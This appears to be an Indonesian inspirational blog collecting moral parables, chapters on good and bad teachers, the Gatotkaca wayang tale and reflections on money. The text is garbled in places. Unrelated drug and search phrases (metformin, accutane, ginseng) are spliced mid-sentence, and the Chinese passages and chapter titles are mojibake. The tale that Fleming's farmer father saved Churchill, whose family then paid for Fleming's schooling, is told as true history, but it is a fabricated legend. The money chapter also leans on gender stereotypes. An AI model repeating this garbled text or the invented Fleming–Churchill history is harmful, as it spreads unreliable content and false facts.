Kekuatan yang paling besar di dunia ini adalah kasih sayang. Dengan lingkungan yang sama, tapi karena kasih sayang yang berbeda, maka perkembangan nasib orang pun akan berbeda. Kasih sayang dapat mengubah lingkungan kehidupan. Kasih sayang bisa membuat banyak keajaiban. Bahkan cinta kasih bisa mengubah seluruh dunia. ((dipetik dari cerita mandarin “Buku filsafat kehidupan “ diterjemahkan oleh Usman Arifin)

Bakti Anak kepada Orang Tuanya 

          

Seorang masiswa lulusan universitas terkenal di Jepang melamar pekerjaan di sebuah perusahaan besar, dan sedang diwawancara oleh pimpinan perusahaan. Setelah mengamati pemuda tersebut, tanpa disangka pimpinan perusahaan memberikan pertanyaan demikian: 

PP                    : “Apakah Anda pernah mengelap atau memandikan tubuh salah satu dari kedua

                          orang tuamu?”

Pemuda           : “Tidak pernah”

PP                    : ”Kalau begitu pernahkah Anda memijat punggung kedua orang tuamu?”

Pemuda           : ” Pernah, sewaktu saya di SD, setelah itu ibu memberikan 10 dollar.”

         

Setelah pembicaraan tersebut, pimpinan perusahaan menghibur dan memberikan semangat padanya, bahwa masih ada harapan. Disaat berpisah, pimpinan perusahan berpesan untuk kembali lagi besok pada waktu yang sama, tapi dengan syarat bahwa sebelum menghadap, ia harus melakukan hal yang ia belum lakukan, yaitu membasuh tubuh kedua orang tuanya. “Bisakah Anda melakukannya?” tanyanya. Dan, pemuda itu menyanggupinya.

            Walaupun sudah lulus kuliah, keluarga pemuda itu tetap saja miskin. Saat ia baru lahir, ayahnya telah meninggal dunia. Kemudian ia mengandalkan perjuangan ibunya. Lalu anak tersebut menjadi dewasa. Karena nilainya yang cemerlang, ia dapat diterima di sebuah universitas terkenal di Tokyo. Walaupun biaya kuliahnya sangat mahal, sang ibu tidak pernah mengeluh. Ia bekerja sebagai pembantu rumah tangga untuk membiayai kuliah anaknya sampai lulus. Hingga saat itu, ibunya masih tetap bekerja sebagai pembantu.

Saat pemuda itu sampai di rumah, ibunya belum pulang. Ia berpikir, “Kaki ibu pasti kotor sekali sehabis berjalan kaki dari perjalanan yang jauh, akan kubasuh kedua kaki ibu.” Ia benar melakukannya tatkala ibunya tiba di rumah. Sang ibu merasa heran anaknya hendak membasuh kedua kaki kotornya. “Saya masih bisa membasuh kedua kaki saya sendiri, kamu tidak perlu melakukannya.”

Sang anak menjelaskan mengapa ia harus membasuh kedua kaki ibunya. Dengan penuh pengertian, maka ibu menuruti kehendak anaknya. Ia pun duduk di bangku, dan mencelupkan kedua telapak kakinya ke dalam baskom yang telah disediakan anaknya.

            Dengan tangan kanan memegang handuk, dan tangan kiri memegang kaki ibunya, ia mulai merasakan, bahwa kedua kaki ibunya sudah keras dan kaku bagaikan kayu. Ia memeluk kedua kaki ibunya dan menangis tersedu-sedu. Sewaktu ia sekolah dulu, ia merasa wajar saja jika kiriman uang dari ibu digunakan selain untuk membayar uang sekolah, juga untuk jajan sehari-hari. Sekarang ia baru sadar bahwa uang tersebut didapat dari cucuran keringat bahkan darah ibunya.

Keesokan hari, sang pemuda menemui pimpinan perusahaan. Ia berkata, ”Sekarang saya baru sadar, ibu mengalami banyak kesengsaraan demi anaknya, Anda telah memberikan saya sebuah pengertian yang tidak pernah saya dapatkan di sekolah. Terima kasih, pak. Jika bukan karena Anda, saya tidak pernah memegang kaki ibu, dan saya hanya punya satu ibu, saya mau melayani dan menjaga ibu, ibu tidak boleh lagi hidup sengsara.”

            Dengan menganggukkan kepala, pimpinan perusahaan berkata, ”Baiklah, besok Anda boleh masuk kerja.”

            Jika seseorang sama sekali tidak memerhatikan orang yang berkorban paling besar untuk nya, apakah ia bisa memerhatikan orang lain? Dan apa yang bisa diharapkan balas budi yang tulus darinya? Menyayangi diri sendiri, memperlakukan orang lain dengan baik, harus dimulai dari berbuat kebaikan pada orang tua sendiri.  (dipetik dari cerita mandarin “Buku filsafat kehidupan “ diterjemahkan oleh Usman Arifin)

Hidup dengan Memegang Prinsip Kebenaran

 

Suatu kali, seorang akuntan muda ditawarkan pekerjaan yang mudah dan gampang sekali untuk mendapatkan uang dalam jumlah yang besar, tapi hal ini membuatnya tidak mudah. Pekerjaan ini ilegal, karena itu tidak ada orang yang boleh mengetahuinya, tapi hal ini menggoncangkan pikirannya, karena ia harus melakukan pekerjaannya dengan melanggar etik. Dia hanya memberikan informasi data internal yang ia kuasai kepada perusahaan yang menjadi kompetitor perusahaan tempat ia bekerja. Ia menjadi bingung dan tidak dapat memutuskan apakah ia mau menerima pekerjaan itu. Ia meminta waktu satu hari untuk berpikir.

Sesampainya di rumah, ia bicara kepada ibunya mengenai pekerjaan ini—termasuk term dan kondisinya serta besarnya uang yang akan ia dapatkan. Ibunya seorang buta huruf. Ia bersabar mendengar anaknya cerita selama dua jam. Kemudian ia berkata, ”Nak, saya tidak mengerti apa yang baru saja kamu jelaskan. Tapi yang bisa ibu jelaskan padamu hanya satu hal, setiap pagi di saat ibu masuk ke kamar tidurmu, ibu melihat kamu tidur dengan nyenyak, sehingga sulit untuk membangunkanmu. Ibu tidak suka jika pada suatu pagi ibu melihat kamu tidak bisa tidur sepanjang malam. Keputusan akhir ada di tanganmu, kamu putuskan sendiri.” Setelah mengucapkan kata-kata itu ibunya keluar kamar. Anak muda itu berkata dalam hati, “Aku sudah mendapatkan jawabannya.”  (Dipetik dari karangan “Living With honour” karangan shav Khera buku ini sedang kami terjemahkan kedalam bahasa Indonesia)

Setiap orang mempunyai nilai dalam kehidupan. Nilai itu yang mempengaruhi seluruh kehidupannya. Dan nilai itu ada dalam diri orang tersebut. Nilai ini memperkuat karakter kita dan memperkuat kepercayaan kita terhadap kebenaran.

Tulus Ikhlas atau Kebohongan

Terjemahan bebas oleh: Usman A (Diambil dari buku: Livingwith Honour)

Seorang yang sekarat di tempat tidurnya berdoa dan berjanji kepada Tuhan, jika ia bisa sembuh dan sehat kembali, maka ia akan menjual rumah mewahnya. Hasil dari penjualan itu seluruhnya akan disumbangkan kepada fakir miskin.

Lalu, sebuah keajaiban terjadi. Penyakitnya perlahan-lahan sembuh dan kesehatannya pulih kembali. Ia teringat akan janjinya, tapi ia merasa sayang dengan harta yaitu rumah mewahnya. Maka ia merencanakan sesuatu. Ia memasang iklan untuk menjual rumahnya dengan harga sekeping dolar, tapi dengan syarat harus membeli anjingnya juga dengan harga 1 juta dolar. Tidak lama kemudian, ia mendapatkan pembeli. Ia menjual rumahnya, 1 juta dolar ia miliki, dan menyumbangkan ke fakir miskin hanya 1 keping dolar.

Setelah membaca cerita di atas, kita pasti tertawa. Tapi apa yang kita tertawakan? Pengujian nyata terhadap ketulusan dan keikhlasan akan berhadapan dengan godaan. Apa yang orang janjikan kepada Tuhannya, walaupun telah dipenuhi, tapi ia telah memperkosa jiwanya sendiri. Sering terjadi, di saat kita memerlukan kontak ke dalam hati nurani kita, tidak tersambung karena jalurnya sibuk.

Balas Budi yang Terbaik      

Fleming adalah seorang petani miskin di Skotlandia. Suatu hari saat ia sedang bekerja di sawah, ia mendengar ada yang menangis di dalam rawa yang dekat dari situ, sambil menjerit-jerit minta tolong. Sang petani segera menaruh peralatannya dan lari ke arah tepi rawa. Ternyata ia menemukan seorang anak kecil jatuh di kolam jamban yang penuh kotoran. Si petani akhirnya menolong nyawa anak itu yang nyaris mati.

Keesokan harinya, sebuah kereta mewah berhenti di depan rumah petani. Dari dalam kereta keluar seorang bangsawan parlente dan memperkenalkan bahwa ia adalah ayah dari anak yang pernah ditolong petani tersebut. Ia berkata”Aku akan membalas kebaikan budimu, karena Anda telah menolong jiwa anakku.” Namun jawab si petani, “Saya tidak bisa menerima balas budi hanya karena saya telah menolong anak Anda.”

Saat itu anak si petani masuk ke rumah gubuk. Bangsawan bertanya apakah anak muda itu anaknya. Petani dengan bangga menjawab benar itu adalah anaknya. Bangsawan akhirnya berkata, “Begini saja, kita membuat perjanjian. Ijinkanlah aku membawa anakmu, agar dia mendapatkan pendidikan yang lebih baik. Jika anak ini seperti ayahnya, maka di kemudian hari dia akan menjadi seorang yang membanggakan ayahnya.”

Si petani setuju. Beberapa tahun kemudian, anak sang petani itu lulus dari universitas kedokteran Santa Maria, dan mendapatkan titel Sir Alexander Fleming (6 Agustus 1881–11 Maret 1955). Orang tersebut ialah ilmuwan Skotlandia yang berhasil menemukan penisilin, yaitu sejenis antibiotik yang dihasilkan oleh jamur Penicillium Notatum. Zat temuannya ini dapat digunakan untuk membunuh banyak jenis bakteri yang berbahaya bagi tubuh manusia.

Bersama dengan Ernst Chain dan Howard Florey, Baron Florey menerima Hadiah Nobel Fisiologi atau Kedokteran 1945.

Beberapa tahun kemudian, anak dari bangsawan ini terjangkit penyakit infeksi paru-paru (TBC). Kita bisa menebak siapakah yang menolongnya, Panisilin. Dan siapakah bangsawan tersebut? Ia adalah Sir Winston Leonard Spencer Churchill (30 November, 1874 – 24 Januari 1965). Beliau adalah tokoh politik dan pengarang dari Inggris yang paling dikenal sebagai Perdana Menteri Britania Raya sewaktu Perang Dunia Kedua. Peranannya sebagai ahli strategi, orator, diplomat, dan politisi terkemuka; menjadikan Churchill salah satu dari tokoh paling berpengaruh dalam sejarah dunia. Pada tahun 1953, Churchil dianugrahkan penghargaan Nobel di bidang literatur karena sumbangan yang ia berikan dalam buku-buku karangannya mengenai bahasa Inggris dan sejarah dunia.

Sebuah jasa kecil dari tindakan petani yang didorong oleh hati yang welas asih, seorang bangsawan yang membalas budi dengan tulus, membuahkan suatu perubahan  yang maha dasyat di dunia.

Titik Pandang yang Berbeda

Seorang ahli jiwa mengadakan tes kejiwaan terhadap dua orang anak yang berumur 7 tahun. Thomas adalah seorang anak dari keluarga miskin, mempunyai 6 saudara, sedangkan Andi adalah anak tunggal seorang dokter yang kaya.

            Ahli jiwa memperlihatkan sebuah gambar seekor anak kelinci yang sedang menangis di pinggir meja, disisinya berdiri mama kelinci yang mukanya sedang cemberut, ia menanyakan kedua anak, apa yang diceritakan olah gambar tersebut?.

            Thomas langsung menjawab:”Anak kelinci kenapa menangis, karena dia belum kenyang makannya, ia ingin makan lagi, tapi makanan dirumah sudah tak ada lagi, mamanya merasa sangat sedih.”

            “Bukan begitu.” Kata Andi:”Kenapa dia menangis, karena ia sudah kenyang dan tak mau makan lagi, tapi mamanya memaksa harus makan lagi.”

            Asal usul kelahiran yang berbeda, lingkungan hidup dan pengalaman hidup yang berbeda, sangat mempengaruhi paradigma seseorang, mempengaruhi nasibnya seumur hidup. Kaya dan miskin selamanya adalah kedua ujung timbangan yang saling berlawanan, tuhan hanya bisa dengan diam-diam mengharapkan manusia untuk bisa hidup bahagia dalam kedua kehidupan dunia ini.

Tugas Kita Adalah Berikhtiar. 

Ketika orang lain berbicara sejuta basa, tetaplah anda bekerja.

Cangkullah sawah itu dan taburi dengan benih. Ketika orang  

lain berdiam tak tahu harus berkata apa, teruskan kerja anda.

Siangi dan airi putik-putik yang baru bertunas itu. Ketika 

orang lain saling tuding saling hunus, bekerjalah dalam 

istirahat anda. Senandungkan seranai pengundang angin dan 

gerimis. Ketika orang lain terlelap pada tidur nyenyak mereka,

jangan putuskan kerja anda. Bekerjalah dengan doa dan harapan;

"Semoga ikhtiar ini menjadi kebaikan bagi segenap semesta."

Maka, ketika orang lain tergugah dari peraduannya, ajaklah

mereka untuk mengangkat sabit memungut panen yang telah masak.

Bila mereka tak jua berkenan, jangan kecil hati. Terus dan

tetaplah bekerja. Bekerja, karena itulah yang semestinya kitakerjakan.

Apa pun yang terjadi di muka bumi, sang mentari tak berhenti

sedetik pun dari kerja; mengipasi tungku pembakaran raksasanya;

menebarkan kehangatan ke seluruh galaksi. Maka, tak ada alasan

yang lebih baik untuk keberadaan kita di sini, selain bekerja,

mengubah energi hangat matari menjadi kebaikan semesta.

(Petikan dari sumber yang terlupa dicatat)

Berbuatlah kepada orang lain seperti yang kamu kehendaki supaya orang lain berbuat kepada mu

Jangan melakukan sesuatu terhadap orang lain yang kamu tak ingin orang lain melakukannya kepadamu.  (petikan kata-kata Kong Hu Zhu)

 

INSPIRASI DAN PANDANGAN HIDUP a�� Bab 5: Guru Positif dan Guru Negatif

 Bab 5:

Guru Positif dan Guru Negatif

Guru positif mengajarkan aliran yang benar, menunjukkan jalan yang benar, sedangkan guru negatif mengajarkan aliran sesat, jalan yang salah. Saya pernah menemukan guru positif, juga pernah mendapatkan guru yang negatif. Sampai sekarang saya masih ingat nama-nama gur yang positif, tapi nama-nama guru yang negatif telah lama saya lupakan.

Sanak saudara, teman, lingkungan dan segala orang yang pernah berhubungan dengan kita bisa menjadi guru baik positif maupun negatif. Saya ingat pepatah Chinese yang mengatakan “dalam tiga orang, pasti bisa menemukan 1 guru”, artinya setiap orang yang kita jumpai, kita bisa belajar sesuatu padanya.

Pada masa muda saya, pernah menemui seorang guru positif, yaitu seorang big bos dimana tempat saya bekerja. beliau seorang yang galak dan temperamen tinggi, tapi sangat baik hatinya, mau mengajarkan metformin 500 mg tab zyd. bagaimana menghitung proyek kontruksi. Karena saya tidak berpengalaman, maka saya menjauhinya dan menyia-nyiakan. Itu terjadi sewaktu saya berusia 20-an tahun, sampai sekarang saya masih merindukannya, sering saya berpikir, jika saya bisa bertahan dan tetap belajar, mungkin kesuksesan saya dibidang bisnis akan lebih pagi, saya baru menyadarinya setelah puluhan tahun berlalu, disaat kepahit-getiran kehidupan melanda bertahun-tahun lamanya. Dibawah ini sekelumit ceritanya.

Di tahun 1970-an, teman bermain basket saya, ayahnya adalah salah satu tokoh yang cukup dikenal di kalangan masyarakat Tionghoa. Teman saya ini sampai sekarang masih olahraga pagi di setiap Sabtu dan Minggu (bangga juga ya bisa berteman lebih dari 40 tahun). Ayahnya adalah seorang kontraktor kontruksi baja, dan sudah berpengalaman. Beliau bersedia mengajar kami berdua dalam ilmu bangunan kontruksi itu. Karena belum pernah menyentuh pelajaran Di Zi Gui, hanya karena tersinggung dimarahi dan saya sendiri merasa tidak bersalah, maka saya mengundurkan diri dari pekerjaan dengan sendirinya saya kehilangan seorang guru positif.  Jika saya mengenang kembali masa lalu, saya sadar bahwa saat itu saya telah kehilangan seorang bos yang bisa menjadi guru pembimbing. Tetapi apa daya, di dunia ini tidak ada obat untuk sebuah penyesalan supaya waktu bisa berbalik kembali. Maka dari itu, sekarang saya berbagi dengan teman-teman muda. Dalam perjalanan hidup kita, kadang kala kita menemukan banyak macam guru, tapi kita tidak tahu dan tidak bisa memelihara hubungan baik dengan orang tersebut. Sehingga kita kehilangan pengajaran orang tersebut, dan itu dapat memperlambat kesuksesan kita.

Ada cerita klasik Tiongkok nama bukunya “Sam Kok” (3 negara, buku terjemahan bahasa Indonesianya ada di jual di Gramedia, jika mau lihat gratisannya, saya akan minta bantuan keteman untuk mengetiknya dan masukan dalam blog saya ini, sabar ya), calon raja Liu Bi. Untuk bisa mendapatkan seorang penasihat, ia harus menyucikan diri dan mengunjungi tempat tinggal Kong Beng. Ia harus melakukannya sebanyak tiga kali. Karena mendapatkan penasihat yang hebat ini, Lau Bi baru bisa memenangkan perang.

Demikian juga dalam kehidupan kita, semua orang bisa jadi guru; baik itu orang tua, orang yang lebih muda, wanita, pria, atau pun anak-anak. Maka dari itu, jangan pernah menganggap enteng suatu hubungan (relationship) dengan orang lain. Karena siapa pun bisa menjadi guru yang dapat kita teladani.

Buku yang sering kita baca adalah salah satu alat yang dapat menentukan arah perjalanan hidup kita. Sewaktu masih di SD, saya suka membaca komik perwayangan. Karena saat itu cerita komik perwayangan dan cerita silat Kho Ping Ho sangat populer, dan saat itu ada tempat penyewaan buku-buku komik, yang menyediakan diantaranya wayang Purwa, Mahabrata, Baratayudha, Pandawa Lima, Arjuna Sasrabahu, Parikesit, dan lain-lain. Buku-buku komik ini mengandung ajaran filsafat, hukum karma, kewajiban Darma—yang menjadi dasar paradigma yang kuat dalam pemikiran saya hingga saat ini.

Ketika SMP, saya diwajibkan membaca buku-buku klasik kebudayaan Tiongkok, diantaranya Buku Samkok (Tiga Negara), Sui Hu Cuan (Tepi Air), Si You Ji (Perjalanan ke Barat). Buku-buku ini sudah diterjemahkan ke dalam bahasa Indonesia. Saya membeli semua buku-buku tersebut. Walaupun saya kurang beruntung karena belum pernah mendapatkan guru yang langsung membimbing, tapi karena pengaruh buku-buku itu, saya bisa mencari sendiri banyak guru—baik guru yang positif, maupun yang negatif. 

INSPIRASI DAN PANDANGAN HIDUP a�� Bab 4: Filosofi perwayangan

Pengaruh positif untuk semua kalangan dan organisasi

Sejak kecil saya suka baca komik wayang, Dibawah sadar, ajaran filosofi wayang dan pengaruhnya dibawa sampai dewasa bahkan sampai tua. saya petikan salah satu cerita wayang dari cerita "bharata Yuda"

Bab 4:

Gatotkaca

(Dipetik dari Wikipedia bahasa Indonesia, ensiklopedia bebas)

Gatotkaca sebagai tokoh wayang kulit Jawa (cerita dan ajarannya)

Gatotkaca adalah seorang tokoh dalam wiracarita Mahabharata yang dikenal sebagai putra Bimasena atau Wrekodara dari keluarga Pandawa. Ibunya yang bernama Hidimbi (Harimbi) berasal dari bangsa raksasa, sehingga ia pun dikisahkan memiliki kekuatan luar biasa, mampu terbang di angkasa tanpa menggunakan sayap, serta terkenal dengan julukan “otot kawat tulang besi”. Dalam perang besar di Kurukshetra ia banyak menewaskan sekutu Korawa sebelum akhirnya gugur di tangan Karna.

Alkisah saat Gatotkaca lahir nama bayi adalah Jabang Tetuka. Sampai usia satu tahun tali pusarnya belum bisa dipotong walau menggunakan senjata apa pun. Maklum saat itu belum ditemukan guting baja, karena itu Arjuna (adik Bimasena) pergi bertapa untuk mendapatkan petunjuk dewa demi menolong nasib keponakannya itu. Namun pada saat yang sama Karna, panglima Kerajaan Hastina juga sedang bertapa mencari senjata pusaka.

Dewapun bisa salah, tapi yang penting menyadari kesalahan bisa melakukan perbaikan.

Karena wajah keduanya mirip, Batara Narada selaku utusan kahyangan memberikan senjata Kontawijaya kepada Karna, bukan kepada Arjuna, maklum saat itu belum ada foto dan belum ada kacamata, maka penglihatannya bisa salah. Setelah menyadari kesalahannya, Narada pun menemui Arjuna yang sebenarnya. Arjuna lalu mengejar Karna untuk merebut senjata Konta.

Pertarungan pun terjadi. Karna berhasil meloloskan diri membawa senjata Konta, sedangkan Arjuna hanya berhasil merebut sarung pembungkus pusaka tersebut. Namun sarung pusaka Konta terbuat dari Kayu Mastaba yang ternyata bisa digunakan untuk memotong tali pusar Tetuka.

Akan tetapi keajaiban terjadi. Kayu Mastaba musnah dan bersatu dalam perut Tetuka. Kresna yang ikut serta menyaksikannya berpendapat bahwa pengaruh kayu Mastaba akan menambah kekuatan bayi Tetuka. Namun ia juga meramalkan bahwa kelak Tetuka akan tewas di tangan pemilik senjata Konta. Melalui dongeng wayang ini, penulis jaman dahulu sudah menjelaskan hukum alam “ sebab dan akibat”.

Darma sesorang yang dianugarahkan sang maha esa (Menjadi Jago Dewa)

Tetuka kemudian dipinjam Narada untuk dibawa ke kahyangan yang saat itu sedang diserang musuh bernama Patih Sekipu dari Kerajaan Trabelasuket. Ia diutus rajanya yang bernama Kalapracona untuk melamar bidadari bernama Batari Supraba. Entah apakah ini merupakan hukum alam, bahwa wanita cantik sering menjadi awal dari bencana, walaupun itu bukan kesalahannya dan tidak dalam kontrolnya.

Bayi Tetuka dihadapkan sebagai lawan Sekipu. Anehnya, semakin dihajar bukannya mati, Tetuka justru semakin kuat.

Kesuksesan hanya bisa dilalui dengan gemblengan. Orang sukses harus bisa menghilangkan sisi negatifnya.

Karena malu, Sekipu mengembalikan Tetuka kepada Narada untuk dibesarkan saat itu juga. Narada kemudian menceburkan tubuh Tetuka ke dalam kawah Candradimuka, di Gunung Jamurdipa. Para dewa kemudian melemparkan berbagai jenis senjata pusaka ke dalam kawah. Beberapa saat kemudian, Tetuka muncul ke permukaan sebagai seorang laki-laki dewasa. Segala jenis pusaka para dewa telah melebur dan bersatu ke dalam dirinya.

Ini adalah sebuah ilustrasi, bahwa orang yang sukses selalu harus melalui gemblengan yang maha hebat, jika calon pimpinan hanya dikurung dalam istana yang sejuk dan mewah, tak mungkin bisa memimpin negara atau perusahaan dengan baik.

Tetuka kemudian bertarung melawan Sekipu dan berhasil membunuhnya menggunakan gigitan taringnya. Kresna dan para Pandawa saat itu datang menyusul ke kahyangan. Kresna kemudian memotong taring Tetuka dan menyuruhnya berhenti menggunakan sifat-sifat kaum raksasa.

Kesna adalah guru yang baik, tahu bahwa taring itu melambangkan kaum raksasa yang dikategorikan kaum yang buas, maka dengan memotong taringnya, mengilustrasikan bahwa Krena telah menghilangkan sifat jahat dari how long does accutane take to work. Gatotkaca.

Batara Guru raja kahyangan menghadiahkan seperangkat pakaian pusaka, yaitu Caping Basunanda, Kotang Antrakusuma, dan Terompah Padakacarma untuk dipakai Tetuka, yang sejak saat itu diganti namanya menjadi Gatotkaca. Dengan mengenakan pakaian pusaka tersebut, Gatotkaca mampu terbang secepat kilat menuju Kerajaan Trabelasuket dan membunuh Kalapracona.

Setiap jaman selalu ada orang jahat yang muncul, baik dulu mapun sampai sekarang –  Gatokaca Menjadi Raja Pringgadani

Arimbi memiliki lima orang adik bernama Brajadenta, Brajamusti, Brajalamadan, Brajawikalpa, dan Kalabendana. Brajadenta diangkat sebagai patih dan diberi tempat tinggal di Kasatrian Glagahtinunu. Sangkuni dari Kerajaan Hastina datang menghasut Brajadenta bahwa takhta Pringgadani seharusnya menjadi miliknya bukan milik Gatotkaca.

Akibat hasutan tersebut, Brajadenta pun memberontak hendak merebut takhta dari tangan Gatotkaca yang baru saja dilantik sebagai raja. Brajamusti yang memihak Gatotkaca bertarung menghadapi kakaknya itu. Kedua raksasa kembar tersebut pun tewas bersama. Roh keduanya kemudian menyusup masing-masing ke dalam telapak tangan Gatotkaca kiri dan kanan, sehingga manambah kesaktian keponakan mereka tersebut.

Setelah peristiwa itu Gatotkaca mengangkat Brajalamadan sebagai patih baru, bergelar Patih Prabakiswa.

Kematian Gatotkaca

Gatotkaca dikisahkan gugur dalam perang di Kurukshetra atau Baratayuda pada malam hari ke-14. Perang besar tersebut adalah perang saudara antara keluarga Pandawa melawan Korawa, di mana Gatotkaca tentu saja berada di pihak Pandawa.

Duryudana sangat sedih atas kematian Jayadrata, adik iparnya tersebut. Ia memaksa Karna menyerang perkemahan Pandawa malam itu juga. Karna pun terpaksa berangkat meskipun hal itu melanggar peraturan perang.

Mendengar para Korawa melancarkan serangan malam, pihak Pandawa pun mengirim Gatotkaca untuk menghadang. Gatotkaca sengaja dipilih karena Kotang Antrakusuma yang ia pakai mampu memancarkan cahaya terang benderang.

Pertempuran malam itu berlangsung mengerikan. Gatotkaca berhasil menewaskan sekutu Korawa yang bernama Lembusa. Namun ia sendiri kehilangan kedua pamannya, yaitu Brajalamadan dan Brajawikalpa yang tewas bersama musuh-musuh mereka, bernama Lembusura dan Lembusana.

Duryodana pemimpin Korawa merasa ngeri melihat keganasan Gatotkaca. Ia memaksa Karna menggunakan senjata pusaka pemberian Dewa Indra.

Gatotkaca akhirnya berhadapan dengan Karna, pemilik senjata Kontawijaya. Ia pun menciptakan kembaran dirinya sebanyak seribu orang sehingga membuat Karna merasa kebingungan. Atas petunjuk ayahnya, yaitu Batara Surya, Karna berhasil menemukan Gatotkaca yang asli. Ia pun melepaskan senjata Konta ke arah Gatotkaca.

Gatotkaca mencoba menghindar dengan cara terbang setinggi-tingginya. Namun arwah Kalabendana tiba-tiba muncul menangkap Kontawijaya sambil menyampaikan berita dari kahyangan bahwa ajal Gatotkaca telah ditetapkan malam itu.

Gatotkaca pasrah terhadap keputusan dewata. Namun ia berpesan supaya mayatnya masih bisa digunakan untuk membunuh musuh. Kalabendana setuju. Ia kemudian menusuk pusar Gatotkaca menggunakan senjata Konta. Pusaka itu pun musnah bersatu dengan sarungnya, yaitu kayu Mastaba yang masih tersimpan di dalam perut Gatotkaca.

Gatotkaca telah tewas seketika. Arwah Kalabendana kemudian melemparkan mayatnya ke arah Karna. Karna berhasil melompat sehingga lolos dari maut. Namun keretanya hancur berkeping-keping tertimpa tubuh Gatotkaca yang meluncur kencang dari angkasa. Akibatnya, pecahan kereta tersebut melesat ke segala arah dan menewaskan para prajurit Korawa yang berada di sekitarnya. Tidak terhitung banyaknya  jumlah mereka yang mati.

Cerita wayang Lahirnya Gatotkaca ini  sangat ku gemari, karena ceritaan ini banyak sekali memberikan inspirasi bagi pemikiranku semasa kecil, maupun dewasa sampai masa tua. 

Kesimpulan:

  1. Setiap orang dilahirkan didunia itu ada dipundaknya ada tugas panggilannya  yang sering kita sebut ” Darma”
  2. Pimpinan juga bisa salah,salah itu tidak menakutkan yang penting harus bisa mengkoreksi kesalahannya.
  3. Semua hal-ihwal itu saling berhubungan – Ada sebab ada akibat. Hukum “Tabur tuai “ adalah hukum yang mutlak/
  4. Garis komando dalam organisasi sangat penting dan harus dibangun.

INSPIRASI DAN PANDANGAN HIDUP a�� Bab 3: Filosofi Tentang a�?Uanga�?

Pengaruh positif untuk semua kalangan dan organisasi

Bab 3:

Filosofi Tentang “Uang”

Jangan sampai diperbudak olah uang, uang bukanlah segala-galanya, tapi tanpa uang Orang hidup tak bisa apa apa. Saya sangat tertarik atas penjelasan uang dibawah ini:

 
  e��

 

 

 

 

 

Dalam filosofi tentang uang, uang memiliki dua tombak yang memiliki makna:

  1. Tombak pertama melambangkan pergumulan lahiriah untuk kelangsungan hidup.

Meskipun kandungan bumi ini melimpah, namun kekayaan tersebut tidak dibagikan secara merata di antara jutaan orang yang berhak memperoleh bagian dari kekayaan tersebut. Sejak awal peradaban hingga kini, suatu bangsa terpaksa harus bertempur melawan bangsa lainnya untuk mendapatkan sumber-sumber yang dimiliki musuh­nya. Dalam perjuangan sehari-hari pada individu, konflik yang dihadapi sering tidak bersifat langsung dan bersimbah darah seperti antar bangsa-bangsa tersebut, namun tetap saja kejam.

Dalam dunia industri modern, hukum perjuangan bagi kelangsungan hidup berwu­jud pergumulan untuk mendapatkan uang. Uang memainkan peran utama bila me­nyangkut kesuksesan seseorang selanjutnya. Bisnis yang dikelola dengan baik dan menawarkan produk atau pelayanan yang unggul masih kewalahan menghadapi pesaing yang kurang efisien namun jauh lebih kuat dari segi modal. Politisi yang ce­merlang dan cakap tidak akan mampu merampungkan programnya bila ia terlalu boros dan sampai dikalahkan dalam pemilu oleh lawan yang tidak diperhitungkan­nya. Pertunjukan balet, sandiwara, atau film yang karya seninya unggul tidak akan da­pat diproduksi apabila sang koreografer dan sutradaranya tidak mampu mencari dana yang diperlukan. Siapa saja yang ingin meraih cita-cita atau menuntut bagian dari ke­kayaan dunia, harus bersedia untuk berjuang demi mendapatkan uang.

Orang sering bertanya pada saya: " Bagaimana saya mampu mengawali bisnis dan mendapatkan sukses, sedangkan modal uang tak aku miliki?" Nolan Bushnell mendirikan perusahaan video game Atari dengan modal lima ratus dolar. Empat tahun kemudian, perusahaan tersebut dijual kepada Warner Communication seharga dua puluh delapan juta dolar($28juta) . Dengan uang $28 juta itu­lah ia mengawali sejumlah perusahaan yang memaksanya menyuntikkan uang jutaan dolar ke dalamnya, sayangnya sejumlah usaha tersebut bangkrut. Proyek yang ber­nilai dapat berhasil melalui upaya sederhana bila seseorang bersedia berjuang keras untuk meraih peluang guna mewujudkan visinya.

Namun, tidak pernah ada jalan yang mudah untuk itu. Jika Anda tidak memiliki ide yang berharga dan tidak memperjuangkannya dengan tangguh, maka uang saja tidak akan bisa menyelamatkan Anda. Uang hanya akan menunda waktu sebelum akhinya Anda akan kehilangan segalanya. Jadi, permainan kesuksesan uang bukan saja ten­tang bagaimana cara melipatgandakan uang, yang paling diutamakan adalah usaha ini melalui upaya-upaya yang bernilai.

  1. Tombak kedua mewakili peperangan yang terjadi di dalam batin.

Sebelum seseorang mampu menghadapi dan memenangkan peperangan secara lahiriah, ia harus lebih dulu memenangkan peperangan di dalam batinnya sendiri. Kemiskinan lebih merupakan kondisi pikiran daripada kondisi lahiriah. Kebanyakan orang berjuang untuk imbalan yang tidak seberapa karena terbelenggu oleh keyakinan yang tak teru­capkan bahwa mereka bukanlah orang yang layak menerima kemewahan dalam hidup. Jadi, penting sekali untuk mengalihkan kondisi pikiran Anda dalam batin Anda sendiri: Anda layak mendapatkan materi apa pun yang sedang Anda cari, se­panjang Anda mendapatkannya secara jujur dan terhormat.

      (Sumber: Thick Face Black Heart hal 131)

  1. Dalam tulisan China ada kalimat demikian :

e��e��es?e?�c?Za??a�?, c?Za??es?e?�e��e��a�?i??e��e��es?e?�c�Y?��a�?a��c�Y?��es?e?�e�?e�?a�?a��(yA�ng xióng nán guò mA�i rén guA?n   does ginseng grow in florida. mA�i rén nán guò jA�n qián guA?n  jA�n qián nán guò shA�ng sC? guA?n  shA�ng sC? nán guò guC? mén guA?n)

Pahlawan sukar lolos dari ujian godaan wanita cantik, wanita cantik sukar lolos dari ujian godaan harta, harta sukar lolos dari ujian gerbang kematian, Kematian sukar lolos ujian dari gerbang akhirat.

Kaum pria, disaat memiliki harta sering tak tahan pada ujian terhadap wanita cantik, terutama dikalangan bisnis. Banyak contoh pria sukses jatuh karena wanita cantik, demikian juga wanita, karena kodratnya, berkeinginan selalu terlihat cantik, maka mengejar uang untuk keperluannya. Maka jika dialam dunianya, wanita cantik banyak bernasib malang. Lihat saja, banyak keluarga kaya, putrinya sejak masih kanak-kanak berusaha marias anaknya secantik boneka barby, sangat cantik dan lucu, setiap orang yang lewat ingin mencubit pipinya, suster yang menjaga dan teman suster hansip yang sering ngobrol, bolak balik mencium si “barby “ cantik itu, bagaimana nasibnya bisa bagus, sedari kecil sudah sering dikejar dan digoda, waktu sekolah sering menjadi perebutan, apakah tenang bisa belajar?  Sebagai orang tua, syukurlah jika putrimu dilahirkan cantik, saya beri nasihat, demi hari depannya, sembunyikan lah kecantikan putrimu sajak kecil, tak perlu memberikan make-up berlebihan.

